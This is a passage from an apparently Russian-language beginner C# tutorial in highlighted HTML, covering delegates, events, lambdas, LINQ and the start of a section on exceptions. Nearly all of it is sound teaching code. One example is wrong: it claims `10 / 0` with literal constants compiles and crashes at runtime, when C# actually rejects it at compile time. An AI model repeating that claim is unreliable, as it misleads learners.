class=\"m\">5</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">Add</span><span class=\"p\">);</span><span class=\"w\">      </span><span class=\"c1\">// Результат: 15</span>\n<span class=\"n\">Calculate</span><span class=\"p\">(</span><span class=\"m\">10</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">Subtract</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// Результат: 5</span>\n<span class=\"n\">Calculate</span><span class=\"p\">(</span><span class=\"m\">10</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">Multiply</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// Результат: 50</span>\n</code></pre></div>\n\n<p>Это очень удобно: один и тот же метод <code>Calculate</code> умеет делать разные вещи в зависимости от того, какой делегат ты передал.</p>\n<h3 id=\"встроенные-делегаты-func-и-action\">Встроенные делегаты: Func и Action</h3>\n<p>В C# уже есть готовые типы делегатов, чтобы не объявлять свои каждый раз:</p>\n<ul>\n<li><strong><code>Action</code></strong> — метод ничего не возвращает (<code>void</code>)</li>\n<li><strong><code>Func&lt;T&gt;</code></strong> — метод возвращает значение типа <code>T</code></li>\n</ul>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Action&lt;string&gt; — метод который принимает строку и ничего не возвращает</span>\n<span class=\"n\">Action</span><span class=\"o\">&lt;</span><span class=\"kt\">string</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">print</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">;</span>\n<span class=\"n\">print</span><span class=\"p\">(</span><span class=\"s\">&quot;Привет!&quot;</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// напечатает &quot;Привет!&quot;</span>\n\n<span class=\"c1\">// Func&lt;int, int, int&gt; — принимает два int, возвращает int</span>\n<span class=\"n\">Func</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">sum</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">sum</span><span class=\"p\">(</span><span class=\"m\">3</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">4</span><span class=\"p\">));</span><span class=\"w\"> </span><span class=\"c1\">// 7</span>\n</code></pre></div>\n\n<p>Не пугайся <code>=&gt;</code> — это лямбда-функция, о ней в разделе 17. Пока просто читай <code>(a, b) =&gt; a + b</code> как «метод который берёт a и b и возвращает их сумму».</p>\n<h3 id=\"мультикаст-один-делегат-несколько-методов\">Мультикаст — один делегат, несколько методов</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">LogToConsole</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">msg</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;[КОНСОЛЬ] &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">msg</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"p\">}</span>\n<span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">LogToFile</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">msg</span><span class=\"p\">)</span><span class=\"w\">    </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;[ФАЙЛ] &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">msg</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"p\">}</span>\n\n<span class=\"n\">Action</span><span class=\"o\">&lt;</span><span class=\"kt\">string</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">loggers</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">null</span><span class=\"p\">;</span>\n<span class=\"n\">loggers</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">LogToConsole</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// добавляем первый метод</span>\n<span class=\"n\">loggers</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">LogToFile</span><span class=\"p\">;</span><span class=\"w\">    </span><span class=\"c1\">// добавляем второй метод</span>\n\n<span class=\"n\">loggers</span><span class=\"p\">(</span><span class=\"s\">&quot;Произошло событие!&quot;</span><span class=\"p\">);</span>\n<span class=\"c1\">// [КОНСОЛЬ] Произошло событие!</span>\n<span class=\"c1\">// [ФАЙЛ] Произошло событие!</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"16-события\">16. События</h2>\n<blockquote>\n<p>Тема построена на делегатах. Если делегаты ещё не понятны — сначала перечитай раздел 15.</p>\n</blockquote>\n<p>Событие — это способ сказать «уведоми меня когда что-то произойдёт».</p>\n<blockquote>\n<p><strong>Аналогия:</strong> Ты подписываешься на канал в YouTube. Когда выходит новое видео — тебе приходит уведомление. Ты — <strong>подписчик</strong>. Канал — <strong>издатель</strong>. Выход видео — <strong>событие</strong>. Событие в C# работает точно так же.</p>\n</blockquote>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Button</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"c1\">// Объявляем событие: &quot;кнопка может уведомить подписчиков о нажатии&quot;</span>\n<span class=\"w\">    </span><span class=\"c1\">// Action&lt;string&gt; — метод который принимает строку</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">event</span><span class=\"w\"> </span><span class=\"n\">Action</span><span class=\"o\">&lt;</span><span class=\"kt\">string</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">Clicked</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Click</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">label</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Кнопка &#39;{label}&#39; нажата&quot;</span><span class=\"p\">);</span>\n\n<span class=\"w\">        </span><span class=\"c1\">// &quot;?&quot; — проверяем что есть хоть один подписчик</span>\n<span class=\"w\">        </span><span class=\"c1\">// Invoke — уведомляем всех подписчиков</span>\n<span class=\"w\">        </span><span class=\"n\">Clicked</span><span class=\"o\">?.</span><span class=\"n\">Invoke</span><span class=\"p\">(</span><span class=\"n\">label</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">Button</span><span class=\"w\"> </span><span class=\"n\">btn</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Button</span><span class=\"p\">();</span>\n\n<span class=\"c1\">// += означает &quot;подпишись на событие&quot;</span>\n<span class=\"c1\">// Когда кнопку нажмут — выполнится этот код</span>\n<span class=\"n\">btn</span><span class=\"p\">.</span><span class=\"n\">Clicked</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">label</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Обработчик 1: кликнули на &#39;{label}&#39;&quot;</span><span class=\"p\">);</span>\n<span class=\"n\">btn</span><span class=\"p\">.</span><span class=\"n\">Clicked</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">label</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Обработчик 2: логируем клик &#39;{label}&#39;&quot;</span><span class=\"p\">);</span>\n\n<span class=\"n\">btn</span><span class=\"p\">.</span><span class=\"n\">Click</span><span class=\"p\">(</span><span class=\"s\">&quot;OK&quot;</span><span class=\"p\">);</span>\n<span class=\"c1\">// Кнопка &#39;OK&#39; нажата</span>\n<span class=\"c1\">// Обработчик 1: кликнули на &#39;OK&#39;</span>\n<span class=\"c1\">// Обработчик 2: логируем клик &#39;OK&#39;</span>\n</code></pre></div>\n\n<p>Это именно так работают кнопки в WPF/WinForms — ты пишешь <code>btn.Click += ...</code> и твой код вызывается когда пользователь кликает.</p>\n<hr />\n<h2 id=\"17-lambda-и-linq\">17. Lambda и LINQ</h2>\n<p>Это тоже продвинутая тема — не паникуй. Прочитай, чтобы знать что такое существует. Когда встретишь в реальном коде — вернёшься сюда.</p>\n<h3 id=\"lambda-анонимные-функции\">Lambda — анонимные функции</h3>\n<p>Lambda — это <strong>короткий метод без имени</strong>, написанный прямо там где он нужен. Вместо того чтобы объявлять полноценный метод где-то в классе — пишешь маленькую функцию прямо на месте.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Обычный метод — объявляем отдельно</span>\n<span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"nf\">Square</span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// То же самое как лямбда — в одну строку</span>\n<span class=\"n\">Func</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">square</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"p\">;</span>\n\n<span class=\"c1\">// Читай &quot;x =&gt; x * x&quot; как: &quot;берём x, возвращаем x * x&quot;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">square</span><span class=\"p\">(</span><span class=\"m\">5</span><span class=\"p\">));</span><span class=\"w\"> </span><span class=\"c1\">// 25</span>\n</code></pre></div>\n\n<p>Символ <code>=&gt;</code> читается как <strong>«стрелочка»</strong> или «даёт». Слева — параметры, справа — что вернуть.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Несколько параметров</span>\n<span class=\"n\">Func</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"k\">add</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"k\">add</span><span class=\"p\">(</span><span class=\"m\">3</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">4</span><span class=\"p\">));</span><span class=\"w\"> </span><span class=\"c1\">// 7</span>\n\n<span class=\"c1\">// Если тело сложнее одной строки — нужны {}</span>\n<span class=\"n\">Func</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">complex</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">;</span>\n<span class=\"p\">};</span>\n</code></pre></div>\n\n<h3 id=\"linq-запросы-к-коллекциям\">LINQ — запросы к коллекциям</h3>\n<p>LINQ — это набор удобных методов для работы со списками и массивами.</p>\n<blockquote>\n<p><strong>Аналогия:</strong> Представь список студентов в Excel. LINQ — это как фильтры и сортировка в Excel: «покажи мне только тех кто получил 5, отсортируй по имени». Только это делается прямо в коде.</p>\n</blockquote>\n<p>Без LINQ нужно писать циклы:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Найти все чётные числа — без LINQ</span>\n<span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">evens</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"p\">();</span>\n<span class=\"k\">foreach</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">%</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"n\">evens</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>С LINQ — в одну строку:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">evens</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">Where</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">%</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">);</span>\n<span class=\"c1\">// Читай: &quot;из numbers возьми те где n делится на 2&quot;</span>\n</code></pre></div>\n\n<p>Основные методы LINQ:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">4</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">6</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">7</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">8</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">9</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"w\"> </span><span class=\"p\">};</span>\n\n<span class=\"c1\">// Where — фильтрация (оставить только те, где условие true)</span>\n<span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">evenNumbers</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">Where</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">%</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">);</span>\n<span class=\"c1\">// { 2, 4, 6, 8, 10 }</span>\n\n<span class=\"c1\">// Select — трансформация (преобразовать каждый элемент)</span>\n<span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">squares</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">Select</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"p\">);</span>\n<span class=\"c1\">// { 1, 4, 9, 16, 25, 36, 49, 64, 81, 100 }</span>\n\n<span class=\"c1\">// OrderBy — сортировка по возрастанию</span>\n<span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">sorted</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">OrderBy</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"p\">);</span>\n\n<span class=\"c1\">// Sum, Max, Min, Average — агрегация</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">sum</span><span class=\"w\">      </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">Sum</span><span class=\"p\">();</span><span class=\"w\">     </span><span class=\"c1\">// 55</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">max</span><span class=\"w\">      </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">Max</span><span class=\"p\">();</span><span class=\"w\">     </span><span class=\"c1\">// 10</span>\n<span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">avg</span><span class=\"w\">   </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">Average</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// 5.5</span>\n\n<span class=\"c1\">// Цепочка методов — можно комбинировать</span>\n<span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">numbers</span>\n<span class=\"w\">    </span><span class=\"p\">.</span><span class=\"n\">Where</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">)</span><span class=\"w\">    </span><span class=\"c1\">// берём числа больше 3: { 4, 5, 6, 7, 8, 9, 10 }</span>\n<span class=\"w\">    </span><span class=\"p\">.</span><span class=\"n\">Select</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">)</span><span class=\"w\">   </span><span class=\"c1\">// умножаем каждое на 2: { 8, 10, 12, 14, 16, 18, 20 }</span>\n<span class=\"w\">    </span><span class=\"p\">.</span><span class=\"n\">OrderBy</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"p\">);</span><span class=\"w\">     </span><span class=\"c1\">// сортируем</span>\n</code></pre></div>\n\n<p>Пример с объектами — отфильтровать студентов:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Student</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"k\">get</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">set</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">Grade</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"k\">get</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">set</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"n\">Student</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">students</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"n\">Student</span><span class=\"o\">&gt;</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Student</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">Grade</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">85</span><span class=\"w\"> </span><span class=\"p\">},</span>\n<span class=\"w\">    </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Student</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Петя&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">Grade</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">92</span><span class=\"w\"> </span><span class=\"p\">},</span>\n<span class=\"w\">    </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Student</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Вася&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">Grade</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">70</span><span class=\"w\"> </span><span class=\"p\">},</span>\n<span class=\"w\">    </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Student</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Маша&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">Grade</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">98</span><span class=\"w\"> </span><span class=\"p\">},</span>\n<span class=\"p\">};</span>\n\n<span class=\"c1\">// Отличники (оценка &gt;= 90), по убыванию оценки</span>\n<span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">topStudents</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">students</span>\n<span class=\"w\">    </span><span class=\"p\">.</span><span class=\"n\">Where</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">Grade</span><span class=\"w\"> </span><span class=\"o\">&gt;=</span><span class=\"w\"> </span><span class=\"m\">90</span><span class=\"p\">)</span><span class=\"w\">          </span><span class=\"c1\">// только с оценкой 90+</span>\n<span class=\"w\">    </span><span class=\"p\">.</span><span class=\"n\">OrderByDescending</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">Grade</span><span class=\"p\">)</span><span class=\"w\">    </span><span class=\"c1\">// сначала лучшие</span>\n<span class=\"w\">    </span><span class=\"p\">.</span><span class=\"n\">Select</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">Name</span><span class=\"p\">);</span><span class=\"w\">               </span><span class=\"c1\">// берём только имена</span>\n\n<span class=\"k\">foreach</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span><span class=\"n\">topStudents</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"p\">);</span>\n<span class=\"c1\">// Маша</span>\n<span class=\"c1\">// Петя</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"18-исключения\">18. Исключения</h2>\n<p>Исключение (Exception) — это ошибка, которая произошла <strong>во время работы программы</strong> (не во время компиляции — это разные вещи).</p>\n<p><strong>Ошибка компиляции</strong> — Visual Studio подчёркивает красным ещё до запуска. Ты не напишешь <code>int x = \"текст\"</code> — компилятор сразу скажет «нет».</p>\n<p><strong>Исключение</strong> — программа запустилась, но что-то пошло не так в процессе работы. Например, пользователь ввёл не число, или файл не найден, или деление на ноль:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Программа запустится нормально, но УПАДЁТ когда дойдёт до этой строки</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// System.DivideByZeroException — «деление на ноль»</span>\n</code></pre></div>\n\n<p>Когда программа «падает» с исключением 